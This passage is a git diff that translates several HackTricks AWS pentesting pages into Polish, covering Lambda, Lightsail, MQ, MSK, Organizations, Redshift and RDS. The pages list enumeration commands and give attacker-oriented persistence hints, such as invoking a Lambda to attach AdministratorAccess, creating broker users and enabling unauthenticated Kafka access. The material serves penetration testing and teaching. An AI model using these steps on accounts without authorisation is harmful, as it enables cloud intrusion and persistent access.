środowiska uruchomieniowe**. +### Enumeracja ```bash aws lambda get-account-settings @@ -93,11 +92,9 @@ aws lambda list-event-source-mappings aws lambda list-code-signing-configs aws lambda list-functions-by-code-signing-config --code-signing-config-arn ``` +### Wywołaj lambdę -### Invoke a lambda - -#### Manual - +#### Ręcznie ```bash # Invoke function aws lambda invoke --function-name FUNCTION_NAME /tmp/out @@ -106,83 +103,70 @@ aws lambda invoke --function-name FUNCTION_NAME /tmp/out ## user_name = event['user_name'] aws lambda invoke --function-name --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt ``` - -#### Via exposed URL - +#### Poprzez ujawniony URL ```bash aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL ``` - #### Call Lambda function via URL -Now it's time to find out possible lambda functions to execute: - +Teraz czas, aby znaleźć możliwe funkcje lambda do wykonania: ``` aws --region us-west-2 --profile level6 lambda list-functions ``` - ![](<../../../images/image (262).png>) -A lambda function called "Level6" is available. Lets find out how to call it: - +Funkcja lambda o nazwie "Level6" jest dostępna. Sprawdźmy, jak ją wywołać: ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` - ![](<../../../images/image (102).png>) -Now, that you know the name and the ID you can get the Name: - +Teraz, gdy znasz nazwę i identyfikator, możesz uzyskać nazwę: ```bash aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" ``` - ![](<../../../images/image (237).png>) -And finally call the function accessing (notice that the ID, Name and function-name appears in the URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) +A na koniec wywołaj funkcję, uzyskując dostęp (zauważ, że ID, Nazwa i nazwa-funkcji pojawiają się w URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) `URL:`**`https://.execute-api..amazonaws.com//`** -#### Other Triggers +#### Inne wyzwalacze -There are a lot of other sources that can trigger a lambda +Istnieje wiele innych źródeł, które mogą wyzwalać lambdę
### Privesc -In the following page you can check how to **abuse Lambda permissions to escalate privileges**: +Na następnej stronie możesz sprawdzić, jak **nadużywać uprawnień Lambda, aby eskalować uprawnienia**: {{#ref}} ../aws-privilege-escalation/aws-lambda-privesc.md {{#endref}} -### Unauthenticated Access +### Dostęp bez uwierzytelnienia {{#ref}} ../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md {{#endref}} -### Post Exploitation +### Po eksploatacji {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/ {{#endref}} -### Persistence +### Utrzymywanie {{#ref}} ../aws-persistence/aws-lambda-persistence/ {{#endref}} -## References +## Odniesienia - [https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer) - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 9f5ccb1ab..419db322b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,11 +4,10 @@ ## AWS - Lightsail -Amazon Lightsail provides an **easy**, lightweight way for new cloud users to take advantage of AWS’ cloud computing services. It allows you to deploy common and custom web services in seconds via **VMs** (**EC2**) and **containers**.\ -It's a **minimal EC2 + Route53 + ECS**. +Amazon Lightsail oferuje **łatwy**, lekki sposób dla nowych użytkowników chmury, aby skorzystać z usług obliczeniowych AWS. Umożliwia wdrażanie powszechnych i niestandardowych usług internetowych w ciągu kilku sekund za pomocą **VM** (**EC2**) i **kontenerów**.\ +To jest **minimalne EC2 + Route53 + ECS**. ### Enumeration - ```bash # Instances aws lightsail get-instances #Get all @@ -29,14 +28,13 @@ aws lightsail get-load-balancers aws lightsail get-static-ips aws lightsail get-key-pairs ``` +### Analiza Migawki -### Analyse Snapshots +Możliwe jest generowanie **migawków instancji i baz danych relacyjnych z lightsail**. Dlatego możesz je sprawdzić w ten sam sposób, w jaki możesz sprawdzić [**migawki EC2**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) i [**migawki RDS**](aws-relational-database-rds-enum.md#enumeration). -It's possible to generate **instance and relational database snapshots from lightsail**. Therefore you can check those the same way you can check [**EC2 snapshots**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) and [**RDS snapshots**](aws-relational-database-rds-enum.md#enumeration). +### Metadane -### Metadata - -**Metadata endpoint is accessible from lightsail**, but the machines are running in an **AWS account managed by AWS** so you don't control **what permissions are being granted**. However, if you find a way to exploit those you would be directly exploiting AWS. +**Punkt końcowy metadanych jest dostępny z lightsail**, ale maszyny działają w **koncie AWS zarządzanym przez AWS**, więc nie kontrolujesz **jakie uprawnienia są przyznawane**. Jednak jeśli znajdziesz sposób na ich wykorzystanie, będziesz bezpośrednio wykorzystywać AWS. ### Privesc @@ -44,20 +42,16 @@ It's possible to generate **instance and relational database snapshots from ligh ../aws-privilege-escalation/aws-lightsail-privesc.md {{#endref}} -### Post Exploitation +### Post Eksploatacja {{#ref}} ../aws-post-exploitation/aws-lightsail-post-exploitation.md {{#endref}} -### Persistence +### Utrzymywanie {{#ref}} ../aws-persistence/aws-lightsail-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 8504db545..e061a2fa3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -4,28 +4,27 @@ ## Amazon MQ -### Introduction to Message Brokers +### Wprowadzenie do brokerów wiadomości -**Message brokers** serve as intermediaries, facilitating communication between different software systems, which may be built on varied platforms and programmed in different languages. **Amazon MQ** simplifies the deployment, operation, and maintenance of message brokers on AWS. It provides managed services for **Apache ActiveMQ** and **RabbitMQ**, ensuring seamless provisioning and automatic software version updates. +**Brokerzy wiadomości** działają jako pośrednicy, ułatwiając komunikację między różnymi systemami oprogramowania, które mogą być zbudowane na różnych platformach i zaprogramowane w różnych językach. **Amazon MQ** upraszcza wdrażanie, obsługę i utrzymanie brokerów wiadomości na AWS. Oferuje zarządzane usługi dla **Apache ActiveMQ** i **RabbitMQ**, zapewniając bezproblemowe dostarczanie i automatyczne aktualizacje wersji oprogramowania. ### AWS - RabbitMQ -RabbitMQ is a prominent **message-queueing software**, also known as a _message broker_ or _queue manager_. It's fundamentally a system where queues are configured. Applications interface with these queues to **send and receive messages**. Messages in this context can carry a variety of information, ranging from commands to initiate processes on other applications (potentially on different servers) to simple text messages. The messages are held by the queue-manager software until they are retrieved and processed by a receiving application. AWS provides an easy-to-use solution for hosting and managing RabbitMQ servers. +RabbitMQ to prominentne **oprogramowanie do kolejkowania wiadomości**, znane również jako _broker wiadomości_ lub _menedżer kolejek_. Jest to zasadniczo system, w którym konfigurowane są kolejki. Aplikacje łączą się z tymi kolejkami, aby **wysyłać i odbierać wiadomości**. Wiadomości w tym kontekście mogą zawierać różnorodne informacje, od poleceń inicjujących procesy w innych aplikacjach (potencjalnie na różnych serwerach) po proste wiadomości tekstowe. Wiadomości są przechowywane przez oprogramowanie menedżera kolejek, aż zostaną pobrane i przetworzone przez aplikację odbierającą. AWS oferuje łatwe w użyciu rozwiązanie do hostowania i zarządzania serwerami RabbitMQ. ### AWS - ActiveMQ -Apache ActiveMQ® is a leading open-source, Java-based **message broker** known for its versatility. It supports multiple industry-standard protocols, offering extensive client compatibility across a wide array of languages and platforms. Users can: +Apache ActiveMQ® to wiodący open-source'owy, oparty na Javie **broker wiadomości**, znany ze swojej wszechstronności. Obsługuje wiele standardowych protokołów branżowych, oferując szeroką kompatybilność z klientami w różnych językach i na różnych platformach. Użytkownicy mogą: -- Connect with clients written in JavaScript, C, C++, Python, .Net, and more. -- Leverage the **AMQP** protocol to integrate applications from different platforms. -- Use **STOMP** over websockets for web application message exchanges. -- Manage IoT devices with **MQTT**. -- Maintain existing **JMS** infrastructure and extend its capabilities. +- Łączyć się z klientami napisanymi w JavaScript, C, C++, Python, .Net i innych. +- Wykorzystać protokół **AMQP** do integracji aplikacji z różnych platform. +- Używać **STOMP** przez websockets do wymiany wiadomości w aplikacjach internetowych. +- Zarządzać urządzeniami IoT za pomocą **MQTT**. +- Utrzymywać istniejącą infrastrukturę **JMS** i rozszerzać jej możliwości. -ActiveMQ's robustness and flexibility make it suitable for a multitude of messaging requirements. - -## Enumeration +Solidność i elastyczność ActiveMQ sprawiają, że jest odpowiedni do wielu wymagań dotyczących przesyłania wiadomości. +## Enumeracja ```bash # List brokers aws mq list-brokers @@ -48,9 +47,8 @@ aws mq list-configurations # Creacte Active MQ user aws mq create-user --broker-id --password --username --console-access ``` - > [!WARNING] -> TODO: Indicate how to enumerate RabbitMQ and ActiveMQ internally and how to listen in all queues and send data (send PR if you know how to do this) +> TODO: Wskazać, jak enumerować RabbitMQ i ActiveMQ wewnętrznie oraz jak nasłuchiwać na wszystkich kolejkach i wysyłać dane (wyślij PR, jeśli wiesz, jak to zrobić) ## Privesc @@ -58,23 +56,19 @@ aws mq create-user --broker-id --password --username --c ../aws-privilege-escalation/aws-mq-privesc.md {{#endref}} -## Unauthenticated Access +## Dostęp bez uwierzytelnienia {{#ref}} ../aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md {{#endref}} -## Persistence +## Utrzymywanie -If you know the credentials to access the RabbitMQ web console, you can create a new user qith admin privileges. +Jeśli znasz dane uwierzytelniające do dostępu do konsoli internetowej RabbitMQ, możesz utworzyć nowego użytkownika z uprawnieniami administratora. -## References +## Odniesienia - [https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html](https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html) - [https://activemq.apache.org/](https://activemq.apache.org/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index 42c7ca640..27166293a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,22 +4,21 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** is a service that is fully managed, facilitating the development and execution of applications processing streaming data through **Apache Kafka**. Control-plane operations, including creation, update, and deletion of **clusters**, are offered by Amazon MSK. The service permits the utilization of Apache Kafka **data-plane operations**, encompassing data production and consumption. It operates on **open-source versions of Apache Kafka**, ensuring compatibility with existing applications, tooling, and plugins from both partners and the **Apache Kafka community**, eliminating the need for alterations in the application code. +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** to usługa, która jest w pełni zarządzana, ułatwiająca rozwój i realizację aplikacji przetwarzających dane strumieniowe za pomocą **Apache Kafka**. Operacje w zakresie kontroli, w tym tworzenie, aktualizacja i usuwanie **klastrów**, są oferowane przez Amazon MSK. Usługa pozwala na wykorzystanie operacji **data-plane** Apache Kafka, obejmujących produkcję i konsumpcję danych. Działa na **otwartych wersjach Apache Kafka**, zapewniając zgodność z istniejącymi aplikacjami, narzędziami i wtyczkami zarówno od partnerów, jak i **społeczności Apache Kafka**, eliminując potrzebę wprowadzania zmian w kodzie aplikacji. -In terms of reliability, Amazon MSK is designed to **automatically detect and recover from prevalent cluster failure scenarios**, ensuring that producer and consumer applications persist in their data writing and reading activities with minimal disruption. Moreover, it aims to optimize data replication processes by attempting to **reuse the storage of replaced brokers**, thereby minimizing the volume of data that needs to be replicated by Apache Kafka. +Pod względem niezawodności, Amazon MSK jest zaprojektowany do **automatycznego wykrywania i odzyskiwania z powszechnych scenariuszy awarii klastra**, zapewniając, że aplikacje producentów i konsumentów kontynuują swoje działania związane z zapisywaniem i odczytywaniem danych z minimalnymi zakłóceniami. Ponadto ma na celu optymalizację procesów replikacji danych, starając się **ponownie wykorzystać pamięć masową zastąpionych brokerów**, co minimalizuje ilość danych, które muszą być replikowane przez Apache Kafka. -### **Types** +### **Typy** -There are 2 types of Kafka clusters that AWS allows to create: Provisioned and Serverless. +AWS pozwala na tworzenie 2 typów klastrów Kafka: Provisioned i Serverless. -From the point of view of an attacker you need to know that: +Z punktu widzenia atakującego należy wiedzieć, że: -- **Serverless cannot be directly public** (it can only run in a VPN without any publicly exposed IP). However, **Provisioned** can be configured to get a **public IP** (by default it doesn't) and configure the **security group** to **expose** the relevant ports. -- **Serverless** **only support IAM** as authentication method. **Provisioned** support SASL/SCRAM (**password**) authentication, **IAM** authentication, AWS **Certificate** Manager (ACM) authentication and **Unauthenticated** access. - - Note that it's not possible to expose publicly a Provisioned Kafka if unauthenticated access is enabled +- **Serverless nie może być bezpośrednio publiczny** (może działać tylko w VPN bez publicznie wystawionego IP). Jednak **Provisioned** można skonfigurować, aby uzyskać **publiczny IP** (domyślnie tego nie robi) i skonfigurować **grupę zabezpieczeń**, aby **ujawnić** odpowiednie porty. +- **Serverless** **obsługuje tylko IAM** jako metodę uwierzytelniania. **Provisioned** obsługuje uwierzytelnianie SASL/SCRAM (**hasło**), uwierzytelnianie **IAM**, uwierzytelnianie AWS **Certificate** Manager (ACM) oraz **dostęp nieautoryzowany**. +- Należy zauważyć, że nie jest możliwe publiczne ujawnienie Provisioned Kafka, jeśli dostęp nieautoryzowany jest włączony. ### Enumeration - ```bash #Get clusters aws kafka list-clusters @@ -43,9 +42,7 @@ aws kafka describe-configuration-revision --arn --revision ``` - -### Kafka IAM Access (in serverless) - +### Dostęp IAM do Kafka (w trybie serverless) ```bash # Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html # Download Kafka @@ -75,7 +72,6 @@ kafka_2.12-2.8.1/bin/kafka-console-producer.sh --broker-list $BS --producer.conf # Read messages kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer.config client.properties --topic msk-serverless-tutorial --from-beginning ``` - ### Privesc {{#ref}} @@ -90,14 +86,10 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ### Persistence -If you are going to **have access to the VPC** where a Provisioned Kafka is, you could **enable unauthorised access**, if **SASL/SCRAM authentication**, **read** the password from the secret, give some **other controlled user IAM permissions** (if IAM or serverless used) or persist with **certificates**. +Jeśli **masz dostęp do VPC**, w którym znajduje się Provisioned Kafka, możesz **włączyć nieautoryzowany dostęp**, jeśli **uwierzytelnianie SASL/SCRAM**, **odczytać** hasło z sekretu, nadać **innemu kontrolowanemu użytkownikowi uprawnienia IAM** (jeśli używane są IAM lub serverless) lub utrzymać się przy **certyfikatach**. ## References - [https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html](https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index df5a51a37..2fffe4dcb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -2,23 +2,22 @@ {{#include ../../../banners/hacktricks-training.md}} -## Baisc Information +## Podstawowe Informacje -AWS Organizations facilitates the creation of new AWS accounts without incurring additional costs. Resources can be allocated effortlessly, accounts can be efficiently grouped, and governance policies can be applied to individual accounts or groups, enhancing management and control within the organization. +AWS Organizations ułatwia tworzenie nowych kont AWS bez ponoszenia dodatkowych kosztów. Zasoby można przydzielać bez wysiłku, konta można efektywnie grupować, a polityki zarządzania można stosować do poszczególnych kont lub grup, co zwiększa zarządzanie i kontrolę w organizacji. -Key Points: +Kluczowe punkty: -- **New Account Creation**: AWS Organizations allows the creation of new AWS accounts without extra charges. -- **Resource Allocation**: It simplifies the process of allocating resources across the accounts. -- **Account Grouping**: Accounts can be grouped together, making management more streamlined. -- **Governance Policies**: Policies can be applied to accounts or groups of accounts, ensuring compliance and governance across the organization. +- **Tworzenie nowych kont**: AWS Organizations umożliwia tworzenie nowych kont AWS bez dodatkowych opłat. +- **Przydzielanie zasobów**: Ułatwia proces przydzielania zasobów pomiędzy kontami. +- **Grupowanie kont**: Konta można grupować, co upraszcza zarządzanie. +- **Polityki zarządzania**: Polityki można stosować do kont lub grup kont, zapewniając zgodność i zarządzanie w całej organizacji. -You can find more information in: +Możesz znaleźć więcej informacji w: {{#ref}} ../aws-basic-information/ {{#endref}} - ```bash # Get Org aws organizations describe-organization @@ -39,13 +38,8 @@ aws organizations list-accounts-for-parent --parent-id ou-n8s9-8nzv3a5y ## You need the permission iam:GetAccountSummary aws iam get-account-summary ``` - -## References +## Odniesienia - https://aws.amazon.com/organizations/ {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index d5cb84f1d..7d2d08108 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -1,28 +1,20 @@ -# AWS - Other Services Enum +# AWS - Inne usługi Enum {{#include ../../../banners/hacktricks-training.md}} ## Directconnect -Allows to **connect a corporate private network with AWS** (so you could compromise an EC2 instance and access the corporate network). - +Pozwala na **połączenie prywatnej sieci korporacyjnej z AWS** (aby móc skompromitować instancję EC2 i uzyskać dostęp do sieci korporacyjnej). ``` aws directconnect describe-connections aws directconnect describe-interconnects aws directconnect describe-virtual-gateways aws directconnect describe-virtual-interfaces ``` - ## Support -In AWS you can access current and previous support cases via the API - +W AWS możesz uzyskać dostęp do bieżących i wcześniejszych przypadków wsparcia za pośrednictwem API ``` aws support describe-cases --include-resolved-cases ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 7ae94d5d6..45709e5d9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,46 +4,45 @@ ## Amazon Redshift -Redshift is a fully managed service that can scale up to over a petabyte in size, which is used as a **data warehouse for big data solutions**. Using Redshift clusters, you are able to run analytics against your datasets using fast, SQL-based query tools and business intelligence applications to gather greater understanding of vision for your business. +Redshift to w pełni zarządzana usługa, która może skalować się do ponad petabajta, używana jako **hurtownia danych dla rozwiązań big data**. Używając klastrów Redshift, możesz przeprowadzać analizy na swoich zbiorach danych za pomocą szybkich narzędzi zapytań opartych na SQL i aplikacji do analizy biznesowej, aby uzyskać lepsze zrozumienie wizji dla swojego biznesu. -**Redshift offers encryption at rest using a four-tired hierarchy of encryption keys using either KMS or CloudHSM to manage the top tier of keys**. **When encryption is enabled for your cluster, it can't be disable and vice versa**. When you have an unencrypted cluster, it can't be encrypted. +**Redshift oferuje szyfrowanie w spoczynku, używając czteropoziomowej hierarchii kluczy szyfrujących, korzystając z KMS lub CloudHSM do zarządzania najwyższym poziomem kluczy**. **Gdy szyfrowanie jest włączone dla twojego klastra, nie można go wyłączyć i odwrotnie**. Gdy masz nieszyfrowany klaster, nie można go zaszyfrować. -Encryption for your cluster can only happen during its creation, and once encrypted, the data, metadata, and any snapshots are also encrypted. The tiering level of encryption keys are as follows, **tier one is the master key, tier two is the cluster encryption key, the CEK, tier three, the database encryption key, the DEK, and finally tier four, the data encryption keys themselves**. +Szyfrowanie dla twojego klastra może odbyć się tylko podczas jego tworzenia, a po zaszyfrowaniu dane, metadane i wszelkie migawki są również szyfrowane. Poziomy hierarchii kluczy szyfrujących są następujące: **poziom pierwszy to klucz główny, poziom drugi to klucz szyfrowania klastra, CEK, poziom trzeci to klucz szyfrowania bazy danych, DEK, a na końcu poziom czwarty to same klucze szyfrowania danych**. ### KMS -During the creation of your cluster, you can either select the **default KMS key** for Redshift or select your **own CMK**, which gives you more flexibility over the control of the key, specifically from an auditable perspective. +Podczas tworzenia swojego klastra możesz wybrać **domyślny klucz KMS** dla Redshift lub wybrać swój **własny CMK**, co daje ci większą elastyczność w kontroli klucza, szczególnie z perspektywy audytowej. -The default KMS key for Redshift is automatically created by Redshift the first time the key option is selected and used, and it is fully managed by AWS. +Domyślny klucz KMS dla Redshift jest automatycznie tworzony przez Redshift za pierwszym razem, gdy opcja klucza jest wybrana i używana, i jest w pełni zarządzany przez AWS. -This KMS key is then encrypted with the CMK master key, tier one. This encrypted KMS data key is then used as the cluster encryption key, the CEK, tier two. This CEK is then sent by KMS to Redshift where it is stored separately from the cluster. Redshift then sends this encrypted CEK to the cluster over a secure channel where it is stored in memory. +Ten klucz KMS jest następnie szyfrowany kluczem głównym CMK, poziom pierwszy. Ten zaszyfrowany klucz danych KMS jest następnie używany jako klucz szyfrowania klastra, CEK, poziom drugi. Ten CEK jest następnie wysyłany przez KMS do Redshift, gdzie jest przechowywany oddzielnie od klastra. Redshift następnie wysyła ten zaszyfrowany CEK do klastra przez bezpieczny kanał, gdzie jest przechowywany w pamięci. -Redshift then requests KMS to decrypt the CEK, tier two. This decrypted CEK is then also stored in memory. Redshift then creates a random database encryption key, the DEK, tier three, and loads that into the memory of the cluster. The decrypted CEK in memory then encrypts the DEK, which is also stored in memory. +Redshift następnie prosi KMS o odszyfrowanie CEK, poziom drugi. Ten odszyfrowany CEK jest następnie również przechowywany w pamięci. Redshift następnie tworzy losowy klucz szyfrowania bazy danych, DEK, poziom trzeci, i ładuje go do pamięci klastra. Odszyfrowany CEK w pamięci następnie szyfruje DEK, który również jest przechowywany w pamięci. -This encrypted DEK is then sent over a secure channel and stored in Redshift separately from the cluster. Both the CEK and the DEK are now stored in memory of the cluster both in an encrypted and decrypted form. The decrypted DEK is then used to encrypt data keys, tier four, that are randomly generated by Redshift for each data block in the database. +Ten zaszyfrowany DEK jest następnie wysyłany przez bezpieczny kanał i przechowywany w Redshift oddzielnie od klastra. Zarówno CEK, jak i DEK są teraz przechowywane w pamięci klastra zarówno w formie zaszyfrowanej, jak i odszyfrowanej. Odszyfrowany DEK jest następnie używany do szyfrowania kluczy danych, poziom czwarty, które są losowo generowane przez Redshift dla każdego bloku danych w bazie danych. -You can use AWS Trusted Advisor to monitor the configuration of your Amazon S3 buckets and ensure that bucket logging is enabled, which can be useful for performing security audits and tracking usage patterns in S3. +Możesz użyć AWS Trusted Advisor, aby monitorować konfigurację swoich koszy Amazon S3 i upewnić się, że logowanie koszy jest włączone, co może być przydatne do przeprowadzania audytów bezpieczeństwa i śledzenia wzorców użycia w S3. ### CloudHSM
-Using Redshift with CloudHSM +Używanie Redshift z CloudHSM -When working with CloudHSM to perform your encryption, firstly you must set up a trusted connection between your HSM client and Redshift while using client and server certificates. +Podczas pracy z CloudHSM w celu przeprowadzenia szyfrowania, najpierw musisz skonfigurować zaufane połączenie między swoim klientem HSM a Redshift, używając certyfikatów klienta i serwera. -This connection is required to provide secure communications, allowing encryption keys to be sent between your HSM client and your Redshift clusters. Using a randomly generated private and public key pair, Redshift creates a public client certificate, which is encrypted and stored by Redshift. This must be downloaded and registered to your HSM client, and assigned to the correct HSM partition. +To połączenie jest wymagane do zapewnienia bezpiecznej komunikacji, umożliwiając przesyłanie kluczy szyfrujących między twoim klientem HSM a klastrami Redshift. Używając losowo wygenerowanej pary kluczy prywatnych i publicznych, Redshift tworzy publiczny certyfikat klienta, który jest szyfrowany i przechowywany przez Redshift. Musi być on pobrany i zarejestrowany w twoim kliencie HSM oraz przypisany do odpowiedniej partycji HSM. -You must then configure Redshift with the following details of your HSM client: the HSM IP address, the HSM partition name, the HSM partition password, and the public HSM server certificate, which is encrypted by CloudHSM using an internal master key. Once this information has been provided, Redshift will confirm and verify that it can connect and access development partition. +Następnie musisz skonfigurować Redshift z następującymi danymi swojego klienta HSM: adres IP HSM, nazwa partycji HSM, hasło partycji HSM oraz publiczny certyfikat serwera HSM, który jest szyfrowany przez CloudHSM przy użyciu wewnętrznego klucza głównego. Po podaniu tych informacji, Redshift potwierdzi i zweryfikuje, że może połączyć się i uzyskać dostęp do partycji deweloperskiej. -If your internal security policies or governance controls dictate that you must apply key rotation, then this is possible with Redshift enabling you to rotate encryption keys for encrypted clusters, however, you do need to be aware that during the key rotation process, it will make a cluster unavailable for a very short period of time, and so it's best to only rotate keys as and when you need to, or if you feel they may have been compromised. +Jeśli twoje wewnętrzne polityki bezpieczeństwa lub kontrole zarządzania nakazują, abyś zastosował rotację kluczy, to jest to możliwe z Redshift, umożliwiając ci rotację kluczy szyfrujących dla zaszyfrowanych klastrów, jednak musisz być świadomy, że podczas procesu rotacji klucz będzie niedostępny przez bardzo krótki czas, dlatego najlepiej jest rotować klucze tylko wtedy, gdy jest to konieczne, lub jeśli uważasz, że mogły zostać skompromitowane. -During the rotation, Redshift will rotate the CEK for your cluster and for any backups of that cluster. It will rotate a DEK for the cluster but it's not possible to rotate a DEK for the snapshots stored in S3 that have been encrypted using the DEK. It will put the cluster into a state of 'rotating keys' until the process is completed when the status will return to 'available'. +Podczas rotacji Redshift obróci CEK dla twojego klastra i dla wszelkich kopii zapasowych tego klastra. Obróci DEK dla klastra, ale nie jest możliwe obrócenie DEK dla migawek przechowywanych w S3, które zostały zaszyfrowane przy użyciu DEK. Umieści klaster w stanie 'rotacji kluczy', aż proces zostanie zakończony, kiedy status powróci do 'dostępny'.
### Enumeration - ```bash # Get clusters aws redshift describe-clusters @@ -82,7 +81,6 @@ aws redshift describe-scheduled-actions # The redshift instance must be publicly available (not by default), the sg need to allow inbounds connections to the port and you need creds psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U admin -d dev -p 5439 ``` - ## Privesc {{#ref}} @@ -91,13 +89,9 @@ psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U adm ## Persistence -The following actions allow to grant access to other AWS accounts to the cluster: +Następujące działania umożliwiają przyznanie dostępu do klastra innym kontom AWS: - [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html) - [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index 473369403..6229a0ee5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -2,76 +2,75 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -The **Relational Database Service (RDS)** offered by AWS is designed to streamline the deployment, operation, and scaling of a **relational database in the cloud**. This service offers the advantages of cost efficiency and scalability while automating labor-intensive tasks like hardware provisioning, database configuration, patching, and backups. +**Relational Database Service (RDS)** oferowane przez AWS jest zaprojektowane w celu uproszczenia wdrażania, obsługi i skalowania **relacyjnej bazy danych w chmurze**. Usługa ta oferuje zalety efektywności kosztowej i skalowalności, automatyzując pracochłonne zadania, takie jak provisionowanie sprzętu, konfiguracja bazy danych, łatanie i tworzenie kopii zapasowych. -AWS RDS supports various widely-used relational database engines including MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server, and Amazon Aurora, with compatibility for both MySQL and PostgreSQL. +AWS RDS obsługuje różne powszechnie używane silniki relacyjnych baz danych, w tym MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server i Amazon Aurora, z kompatybilnością zarówno dla MySQL, jak i PostgreSQL. -Key features of RDS include: +Kluczowe cechy RDS obejmują: -- **Management of database instances** is simplified. -- Creation of **read replicas** to enhance read performance. -- Configuration of **multi-Availability Zone (AZ) deployments** to ensure high availability and failover mechanisms. -- **Integration** with other AWS services, such as: - - AWS Identity and Access Management (**IAM**) for robust access control. - - AWS **CloudWatch** for comprehensive monitoring and metrics. - - AWS Key Management Service (**KMS**) for ensuring encryption at rest. +- **Zarządzanie instancjami baz danych** jest uproszczone. +- Tworzenie **replik odczytu** w celu zwiększenia wydajności odczytu. +- Konfiguracja **wdrożeń w wielu strefach dostępności (AZ)** w celu zapewnienia wysokiej dostępności i mechanizmów przełączania awaryjnego. +- **Integracja** z innymi usługami AWS, takimi jak: +- AWS Identity and Access Management (**IAM**) dla solidnej kontroli dostępu. +- AWS **CloudWatch** dla kompleksowego monitorowania i metryk. +- AWS Key Management Service (**KMS**) w celu zapewnienia szyfrowania w spoczynku. -## Credentials +## Poświadczenia -When creating the DB cluster the master **username** can be configured (**`admin`** by default). To generate the password of this user you can: +Podczas tworzenia klastra DB główny **nazwa użytkownika** może być skonfigurowana (**`admin`** domyślnie). Aby wygenerować hasło tego użytkownika, możesz: -- **Indicate** a **password** yourself -- Tell RDS to **auto generate** it -- Tell RDS to manage it in **AWS Secret Manager** encrypted with a KMS key +- **Wskazać** **hasło** samodzielnie +- Powiedzieć RDS, aby **automatycznie wygenerował** je +- Powiedzieć RDS, aby 